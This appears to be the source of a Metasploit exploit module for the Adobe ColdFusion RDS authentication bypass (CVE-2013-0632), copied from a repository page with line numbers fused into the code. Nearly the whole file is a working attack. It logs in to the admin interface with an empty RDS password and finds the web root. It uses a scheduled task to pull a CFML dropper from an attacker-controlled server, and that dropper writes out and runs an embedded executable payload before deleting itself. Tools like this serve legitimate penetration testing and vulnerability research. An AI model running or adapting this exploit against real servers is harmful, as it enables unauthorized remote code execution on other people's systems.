Path: blob/master/modules/exploits/multi/http/coldfusion_rds_auth_bypass.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67include Msf::Exploit::Remote::HttpClient8include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::EXE10include Msf::Module::Deprecated1112moved_from 'exploit/multi/http/coldfusion_rds'1314Rank = GreatRanking1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Adobe ColdFusion RDS Authentication Bypass',21'Description' => %q{22Adobe ColdFusion 9.0, 9.0.1, 9.0.2, and 10 allows remote23attackers to bypass authentication using the RDS component. Due to24default settings or misconfiguration, its password can be set to an25empty value. This allows an attacker to create a session via the RDS26login that can be carried over to the admin web interface even though27the passwords might be different, and therefore bypassing authentication28on the admin web interface leading to arbitrary code execution. Tested29on Windows and Linux with ColdFusion 9.30},31'Author' => [32'Scott Buckel', # Vulnerability discovery33'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module34],35'License' => MSF_LICENSE,36'References' => [37[ "CVE", "2013-0632" ],38[ "EDB", "27755" ],39[ "URL", "http://www.adobe.com/support/security/bulletins/apsb13-03.html" ]40],41'Privileged' => false,42'Stance' => Msf::Exploit::Stance::Aggressive, # thanks juan!43'Platform' => ['win', 'linux'],44'Targets' => [45[46'Windows',47{48'Arch' => ARCH_X86,49'Platform' => 'win'50}51],52[53'Linux',54{55'Arch' => ARCH_X86,56'Platform' => 'linux'57}58],59],60'DefaultTarget' => 0,61'DisclosureDate' => '2013-08-08',62'Notes' => {63'Reliability' => UNKNOWN_RELIABILITY,64'Stability' => UNKNOWN_STABILITY,65'SideEffects' => UNKNOWN_SIDE_EFFECTS66}67)68)6970register_options(71[72OptString.new('EXTURL', [ false, 'An alternative host to request the CFML payload from', "" ]),73OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]),74]75)7677register_advanced_options(78[79OptString.new('CFIDDIR', [ true, 'Alternative CFIDE directory', 'CFIDE'])80]81)82end8384def check85uri = target_uri.path8687# can we access the admin interface?88res = send_request_cgi({89'method' => 'GET',90'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm'),91})9293if res && res.code == 200 && res.body.include?('ColdFusion Administrator Login')94vprint_good "Administrator access available"95else96return Exploit::CheckCode::Safe97end9899# is it cf9?100res = send_request_cgi({101'method' => 'GET',102'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'images', 'loginbackground.jpg')103})104105img = Rex::Text.md5(res.body.to_s)106imghash = "596b3fc4f1a0b818979db1cf94a82220"107108if img == imghash109vprint_good "ColdFusion 9 Detected"110else111return Exploit::CheckCode::Safe112end113114# can we access the RDS component?115res = send_request_cgi({116'method' => 'POST',117'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'),118'vars_post' => {119'method' => "login",120'adminpassword' => "",121'rdsPasswordAllowed' => "1"122}123})124125if res && res.code == 200 && res.body.include?('true')126return Exploit::CheckCode::Appears127else128return Exploit::CheckCode::Safe129end130end131132def exploit133@pl = gen_file_dropper134@payload_url = ""135136if datastore['EXTURL'].blank?137begin138Timeout.timeout(datastore['HTTPDELAY']) { super }139rescue Timeout::Error140end141exec_payload142else143@payload_url = datastore['EXTURL']144upload_payload145exec_payload146end147end148149def primer150@payload_url = get_uri151upload_payload152end153154def on_request_uri(cli, request)155if request.uri =~ /#{get_resource}/156send_response(cli, @pl)157end158end159160def autofilter161true162end163164# task scheduler is pretty bad at handling binary files and likes to mess up our meterpreter :-(165# instead we use a CFML filedropper to embed our payload and execute it.166# this also removes the dependancy of using the probe.cfm to execute the file.167168def gen_file_dropper169rand_var = rand_text_alpha(8 + rand(8))170rand_file = rand_text_alpha(8 + rand(8))171172if datastore['TARGET'] == 0173rand_file += ".exe"174end175176encoded_pl = Rex::Text.encode_base64(generate_payload_exe)177178print_status "Building CFML shell..."179# embed payload180shell = ""181shell += " <cfset #{rand_var} = ToBinary( \"#{encoded_pl}\" ) />"182shell += " <cffile action=\"write\" output=\"##{rand_var}#\""183shell += " file= \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\""184# if linux set correct permissions185if datastore['TARGET'] == 1186shell += " mode = \"700\""187end188shell += "/>"189# clean up our evil .cfm190shell += " <cffile action=\"delete\""191shell += " file= \"#GetDirectoryFromPath(GetCurrentTemplatePath())##listlast(cgi.script_name,\"/\")#\"/>"192# execute our payload!193shell += " <cfexecute"194shell += " name = \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\""195shell += " arguments = \"\""196shell += " timeout = \"60\"/>"197198return shell199end200201def exec_payload202uri = target_uri.path203204print_status("Our payload is at: #{peer}\\#{datastore['CFIDDIR']}\\#{@filename}")205print_status("Executing payload...")206207res = send_request_cgi({208'method' => 'GET',209'uri' => normalize_uri(uri, datastore['CFIDDIR'], @filename)210})211end212213def upload_payload214uri = target_uri.path215216@filename = rand_text_alpha(8 + rand(8)) + ".cfm" # numbers is a bad idea217taskname = rand_text_alpha(8 + rand(8)) # numbers is a bad idea218219print_status "Trying to upload payload via scheduled task..."220res = send_request_cgi({221'method' => 'POST',222'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'),223'vars_post' => {224'method' => "login",225'adminpassword' => "",226'rdsPasswordAllowed' => "1"227}228})229230unless res && res.code == 200231fail_with(Failure::Unknown, "#{peer} - RDS component was unreachable")232end233234# deal with annoying cookie data prepending (sunglasses)235cookie = res.get_cookies236237if res && res.code == 200 && cookie =~ /CFAUTHORIZATION_cfadmin=;(.*)/238cookie = $1239else240fail_with(Failure::Unknown, "#{peer} - Unable to get auth cookie")241end242243res = send_request_cgi({244'method' => 'GET',245'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm'),246'cookie' => cookie247})248249if res && res.code == 200 && res.body.include?('ColdFusion Administrator')250print_good("Logged in as Administrator!")251else252fail_with(Failure::Unknown, "#{peer} - Login Failed")253end254255# get file path gogo256res = send_request_cgi({257'method' => 'GET',258'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'settings', 'mappings.cfm'),259'vars_get' => {260'name' => "/CFIDE"261},262'cookie' => cookie263})264265unless res && res.code == 200266fail_with(Failure::Unknown, "#{peer} - Mappings URL was unreachable")267end268269if res.body =~ /<input type="text" maxlength="550" name="directoryPath" value="(.*)" size="40" id="dirpath">/270file_path = $1271print_good("File path disclosed! #{file_path}")272else273fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")274end275276print_status("Adding scheduled task")277res = send_request_cgi({278'method' => 'POST',279'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduleedit.cfm'),280'vars_post' => {281'TaskName' => taskname,282'Start_Date' => "Nov 1, 2420",283'End_Date' => "",284'Interval' => "",285'ScheduleType' => "Once",286'Operation' => "HTTPRequest",287'ScheduledURL' => @payload_url,288'publish' => "1",289'publish_file' => "#{file_path}\\#{@filename}",290'adminsubmit' => "Submit"291},292'cookie' => cookie293})294295unless res && res.code == 200 || res.code == 302 # 302s can happen but it still works, http black magic!296fail_with(Failure::Unknown, "#{peer} - Scheduled task failed")297end298299print_status("Running scheduled task")300res = send_request_cgi({301'method' => 'GET',302'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'),303'vars_get' => {304'runtask' => taskname,305'timeout' => "0"306},307'cookie' => cookie308})309310if res && res.code == 200 && res.body.include?('This scheduled task was completed successfully')311print_good("Scheduled task completed successfully")312else313fail_with(Failure::Unknown, "#{peer} - Scheduled task failed")314end315316print_status("Deleting scheduled task")317res = send_request_cgi({318'method' => 'GET',319'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'),320'vars_get' => {321'action' => "delete",322'task' => taskname323},324'cookie' => cookie325})326327unless res && res.code == 200328print_error("Scheduled task deletion failed, cleanup might be needed!")329end330end331end332333334